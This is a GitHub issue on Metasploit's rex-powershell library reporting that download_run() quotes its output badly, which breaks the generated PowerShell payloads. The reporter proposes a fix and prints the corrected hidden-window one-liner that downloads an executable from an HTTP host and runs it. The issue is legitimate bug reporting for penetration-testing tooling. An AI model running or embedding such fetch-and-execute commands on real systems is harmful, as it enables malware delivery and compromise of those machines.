-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Rex::Powershell::PshMethods.download_run() bad quoting result in non working payloads #18436
Comments
Leaving comment here so i can dive into this a bit more when i have a sec. First glance though, the PSH syntax is missing a variable interpolation: R7 folks: feel free to assign me if this is in fact a |
Hey! |
Hi! This issue has been left open with no activity for a while now. We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request. |
Hi again! It’s been 60 days since anything happened on this issue, so we are going to close it. As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request. |
Steps to reproduce
Using a custom rc script in order to replicate the behavior.
Output:
The problem is that the payload will only work when being executed on cmd interpreter.
If being run from powershell, the
$z="echo ($env:temp+'\7dX4tlxd.exe')"
part will resolve in an error because of the quoting will prevent the echo from occur.in order to debug we will not use hidden window flag and run this command:
powershell.exe -nop -c $z="echo ($env:temp+'\7dX4tlxd.exe')"; echo $z
cmd output:
normal behavior
powershell output:
non normal behavior
Because of this behavior we cant use base64 encoded payload.
Trying with
set PSH-EncodedCommand true
output:
debug:
as we pass
echo (C:\Users\nobody\AppData\Local\Temp+'\7dX4tlxd.exe')
toDownloadFile
argument the payload break.Remediation
Taking back our debug payload
powershell.exe -nop -c $z="echo ($env:temp+'\7dX4tlxd.exe')"; echo $z
but removing double quoting for $z variable like this.powershell.exe -nop -c $z=echo ($env:temp+'\7dX4tlxd.exe'); echo $z
output:
cmd
normal behavior
powershell
normal behavior
The quoting of the $z variable is done by
Rex::Powershell::PshMethods.download_run()
and if we remove it seems like everything will be fixed for this case.https://github.com/rapid7/rex-powershell/blob/master/lib/rex/powershell/psh_methods.rb#L29-L32
Should be replaced by
The others modules using the
download_run()
methods are those ones:Seen their code this change shouldn't make a big differences but i will give a test tomorrow.
After change this is the output payload:
powershell.exe -nop -w hidden -c $z=echo ($env:temp+'\h68IJGBy.exe'); (new-object System.Net.WebClient).DownloadFile('http://192.168.1.25:8080/2qhMMfYRv', $z); invoke-item $z
Which work for both raw and encoded commands, in cmd and powershell
I wasnt sure if i were supposed to open an issue to metasploit or rex-powershell repo since both are affected, sorry if i do mistake
Metasploit version
Framework: 6.3.38-dev-b32fe19545
Console : 6.3.38-dev-b32fe19545
The text was updated successfully, but these errors were encountered: